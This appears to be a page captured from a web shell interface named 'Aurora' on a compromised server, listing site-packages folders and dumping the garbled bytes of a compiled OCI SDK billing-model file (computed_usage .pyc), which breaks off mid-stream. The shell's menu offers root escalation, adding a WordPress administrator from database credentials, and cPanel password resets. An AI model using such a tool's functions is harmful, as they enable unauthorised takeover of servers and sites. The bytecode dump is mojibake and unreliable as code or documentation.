Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
onesubscription
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: computed_usage.cpython-39.pyc
a ���f�n � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ s� e Zd ZdZdZdZdZdZdZdZ dZ d Zd ZdZ dZd ZdZdZdZdd� Zedd� �Zejdd� �Zedd� �Zejdd� �Zedd� �Zejdd� �Zedd� �Zejdd� �Zedd � �Zejd!d � �Zed"d#� �Zejd$d#� �Zed%d&� �Zejd'd&� �Zed(d)� �Zejd*d)� �Zed+d,� �Zejd-d,� �Zed.d/� �Zejd0d/� �Zed1d2� �Z e jd3d2� �Z ed4d5� �Z!e!jd6d5� �Z!ed7d8� �Z"e"jd9d8� �Z"ed:d;� �Z#e#jd<d;� �Z#ed=d>� �Z$e$jd?d>� �Z$ed@dA� �Z%e%jdBdA� �Z%edCdD� �Z&e&jdEdD� �Z&edFdG� �Z'e'jdHdG� �Z'edIdJ� �Z(e(jdKdJ� �Z(edLdM� �Z)e)jdNdM� �Z)edOdP� �Z*e*jdQdP� �Z*edRdS� �Z+e+jdTdS� �Z+edUdV� �Z,e,jdWdV� �Z,edXdY� �Z-e-jdZdY� �Z-ed[d\� �Z.e.jd]d\� �Z.d^d_� Z/d`da� Z0dbdc� Z1ddS )e� ComputedUsagez' Computed Usage Summary object � PROMOTION�DO_NOT_BILL�USAGE�COMMIT�OVERAGE� PAY_AS_YOU_GO�MONTHLY_MINIMUM�DELAYED_USAGE_INVOICE_TIMING�DELAYED_USAGE_COMMITMENT_EXP�ON_ACCOUNT_CREDIT�SERVICE_CREDIT�COMMITMENT_EXPIRATION�FUNDED_ALLOCATION�!DONOT_BILL_USAGE_POST_TERMINATION�DELAYED_USAGE_POST_TERMINATIONc K s dddddddddddddddddddddddddd�| _ dddd d ddd dddddddddddddddddd�| _d| _d| _d| _d| _d| _d| _d| _d| _ d| _ d| _d| _d| _ d| _d| _d| _d| _d| _d| _d| _d| _d| _d| _d| _d| _d| _dS ) a� Initializes a new ComputedUsage object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param time_created: The value to assign to the time_created property of this ComputedUsage. :type time_created: datetime :param time_updated: The value to assign to the time_updated property of this ComputedUsage. :type time_updated: datetime :param parent_subscribed_service_id: The value to assign to the parent_subscribed_service_id property of this ComputedUsage. :type parent_subscribed_service_id: str :param parent_product: The value to assign to the parent_product property of this ComputedUsage. :type parent_product: oci.onesubscription.models.ComputedUsageProduct :param plan_number: The value to assign to the plan_number property of this ComputedUsage. :type plan_number: str :param currency_code: The value to assign to the currency_code property of this ComputedUsage. :type currency_code: str :param rate_card_tierd_id: The value to assign to the rate_card_tierd_id property of this ComputedUsage. :type rate_card_tierd_id: str :param rate_card_id: The value to assign to the rate_card_id property of this ComputedUsage. :type rate_card_id: str :param compute_source: The value to assign to the compute_source property of this ComputedUsage. :type compute_source: str :param data_center: The value to assign to the data_center property of this ComputedUsage. :type data_center: str :param mqs_message_id: The value to assign to the mqs_message_id property of this ComputedUsage. :type mqs_message_id: str :param id: The value to assign to the id property of this ComputedUsage. :type id: str :param quantity: The value to assign to the quantity property of this ComputedUsage. :type quantity: str :param usage_number: The value to assign to the usage_number property of this ComputedUsage. :type usage_number: str :param original_usage_number: The value to assign to the original_usage_number property of this ComputedUsage. :type original_usage_number: str :param commitment_service_id: The value to assign to the commitment_service_id property of this ComputedUsage. :type commitment_service_id: str :param is_invoiced: The value to assign to the is_invoiced property of this ComputedUsage. :type is_invoiced: bool :param type: The value to assign to the type property of this ComputedUsage. Allowed values for this property are: "PROMOTION", "DO_NOT_BILL", "USAGE", "COMMIT", "OVERAGE", "PAY_AS_YOU_GO", "MONTHLY_MINIMUM", "DELAYED_USAGE_INVOICE_TIMING", "DELAYED_USAGE_COMMITMENT_EXP", "ON_ACCOUNT_CREDIT", "SERVICE_CREDIT", "COMMITMENT_EXPIRATION", "FUNDED_ALLOCATION", "DONOT_BILL_USAGE_POST_TERMINATION", "DELAYED_USAGE_POST_TERMINATION", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type type: str :param time_of_arrival: The value to assign to the time_of_arrival property of this ComputedUsage. :type time_of_arrival: datetime :param time_metered_on: The value to assign to the time_metered_on property of this ComputedUsage. :type time_metered_on: datetime :param net_unit_price: The value to assign to the net_unit_price property of this ComputedUsage. :type net_unit_price: str :param cost_rounded: The value to assign to the cost_rounded property of this ComputedUsage. :type cost_rounded: str :param cost: The value to assign to the cost property of this ComputedUsage. :type cost: str :param product: The value to assign to the product property of this ComputedUsage. :type product: oci.onesubscription.models.ComputedUsageProduct :param unit_of_measure: The value to assign to the unit_of_measure property of this ComputedUsage. :type unit_of_measure: str Zdatetime�strZComputedUsageProduct�bool)�time_created�time_updated�parent_subscribed_service_id�parent_product�plan_number� currency_code�rate_card_tierd_id�rate_card_id�compute_source�data_center�mqs_message_id�id�quantity�usage_number�original_usage_number�commitment_service_id�is_invoiced�type�time_of_arrival�time_metered_on�net_unit_price�cost_rounded�cost�product�unit_of_measureZtimeCreatedZtimeUpdatedZparentSubscribedServiceIdZ parentProductZ planNumberZcurrencyCodeZrateCardTierdIdZ rateCardIdZ computeSourceZ dataCenterZmqsMessageIdr# r$ ZusageNumberZoriginalUsageNumberZcommitmentServiceIdZ isInvoicedr) Z timeOfArrivalZ timeMeteredOnZnetUnitPriceZcostRoundedr. r/ Z unitOfMeasureN)Z swagger_typesZ attribute_map� _time_created� _time_updated�_parent_subscribed_service_id�_parent_product�_plan_number�_currency_code�_rate_card_tierd_id� _rate_card_id�_compute_source�_data_center�_mqs_message_id�_id� _quantity� _usage_number�_original_usage_number�_commitment_service_id�_is_invoiced�_type�_time_of_arrival�_time_metered_on�_net_unit_price� _cost_rounded�_cost�_product�_unit_of_measure)�self�kwargs� rL �M/usr/lib/python3.9/site-packages/oci/onesubscription/models/computed_usage.py�__init__N s� m��zComputedUsage.__init__c C s | j S )z� Gets the time_created of this ComputedUsage. Computed Usage created time, expressed in RFC 3339 timestamp format. :return: The time_created of this ComputedUsage. :rtype: datetime �r1 �rJ rL rL rM r s zComputedUsage.time_createdc C s || _ dS )z� Sets the time_created of this ComputedUsage. Computed Usage created time, expressed in RFC 3339 timestamp format. :param time_created: The time_created of this ComputedUsage. :type: datetime NrO )rJ r rL rL rM r s c C s | j S )z� Gets the time_updated of this ComputedUsage. Computed Usage updated time, expressed in RFC 3339 timestamp format. :return: The time_updated of this ComputedUsage. :rtype: datetime �r2 rP rL rL rM r $ s zComputedUsage.time_updatedc C s || _ dS )z� Sets the time_updated of this ComputedUsage. Computed Usage updated time, expressed in RFC 3339 timestamp format. :param time_updated: The time_updated of this ComputedUsage. :type: datetime NrQ )rJ r rL rL rM r 0 s c C s | j S )z� Gets the parent_subscribed_service_id of this ComputedUsage. Subscribed service line parent id :return: The parent_subscribed_service_id of this ComputedUsage. :rtype: str �r3 rP rL rL rM r < s z*ComputedUsage.parent_subscribed_service_idc C s || _ dS )z� Sets the parent_subscribed_service_id of this ComputedUsage. Subscribed service line parent id :param parent_subscribed_service_id: The parent_subscribed_service_id of this ComputedUsage. :type: str NrR )rJ r rL rL rM r H s c C s | j S )z� Gets the parent_product of this ComputedUsage. :return: The parent_product of this ComputedUsage. :rtype: oci.onesubscription.models.ComputedUsageProduct �r4 rP rL rL rM r T s zComputedUsage.parent_productc C s || _ dS )z� Sets the parent_product of this ComputedUsage. :param parent_product: The parent_product of this ComputedUsage. :type: oci.onesubscription.models.ComputedUsageProduct NrS )rJ r rL rL rM r ^ s c C s | j S )z� Gets the plan_number of this ComputedUsage. Subscription plan number :return: The plan_number of this ComputedUsage. :rtype: str �r5 rP rL rL rM r h s zComputedUsage.plan_numberc C s || _ dS )z� Sets the plan_number of this ComputedUsage. Subscription plan number :param plan_number: The plan_number of this ComputedUsage. :type: str NrT )rJ r rL rL rM r t s c C s | j S )z� Gets the currency_code of this ComputedUsage. Currency code :return: The currency_code of this ComputedUsage. :rtype: str �r6 rP rL rL rM r � s zComputedUsage.currency_codec C s || _ dS )z� Sets the currency_code of this ComputedUsage. Currency code :param currency_code: The currency_code of this ComputedUsage. :type: str NrU )rJ r rL rL rM r � s c C s | j S )ab Gets the rate_card_tierd_id of this ComputedUsage. References the tier in the ratecard for that usage (OCI will be using the same reference to cross-reference for correctness on the usage csv report), comes from Entity OBSCNTR_IPT_PRODUCTTIER. :return: The rate_card_tierd_id of this ComputedUsage. :rtype: str �r7 rP rL rL rM r � s z ComputedUsage.rate_card_tierd_idc C s || _ dS )as Sets the rate_card_tierd_id of this ComputedUsage. References the tier in the ratecard for that usage (OCI will be using the same reference to cross-reference for correctness on the usage csv report), comes from Entity OBSCNTR_IPT_PRODUCTTIER. :param rate_card_tierd_id: The rate_card_tierd_id of this ComputedUsage. :type: str NrV )rJ r rL rL rM r � s c C s | j S )z� Gets the rate_card_id of this ComputedUsage. Ratecard Id at subscribed service level :return: The rate_card_id of this ComputedUsage. :rtype: str �r8 rP rL rL rM r � s zComputedUsage.rate_card_idc C s || _ dS )z� Sets the rate_card_id of this ComputedUsage. Ratecard Id at subscribed service level :param rate_card_id: The rate_card_id of this ComputedUsage. :type: str NrW )rJ r rL rL rM r � s c C s | j S )z� Gets the compute_source of this ComputedUsage. SPM Internal compute records source . :return: The compute_source of this ComputedUsage. :rtype: str �r9 rP rL rL rM r � s zComputedUsage.compute_sourcec C s || _ dS )z� Sets the compute_source of this ComputedUsage. SPM Internal compute records source . :param compute_source: The compute_source of this ComputedUsage. :type: str NrX )rJ r rL rL rM r � s c C s | j S )z� Gets the data_center of this ComputedUsage. Data Center Attribute as sent by MQS to SPM. :return: The data_center of this ComputedUsage. :rtype: str �r: rP rL rL rM r! � s zComputedUsage.data_centerc C s || _ dS )z� Sets the data_center of this ComputedUsage. Data Center Attribute as sent by MQS to SPM. :param data_center: The data_center of this ComputedUsage. :type: str NrY )rJ r! rL rL rM r! � s c C s | j S )z� Gets the mqs_message_id of this ComputedUsage. MQS Identfier send to SPM , SPM does not transform this attribute and is received as is. :return: The mqs_message_id of this ComputedUsage. :rtype: str �r; rP rL rL rM r"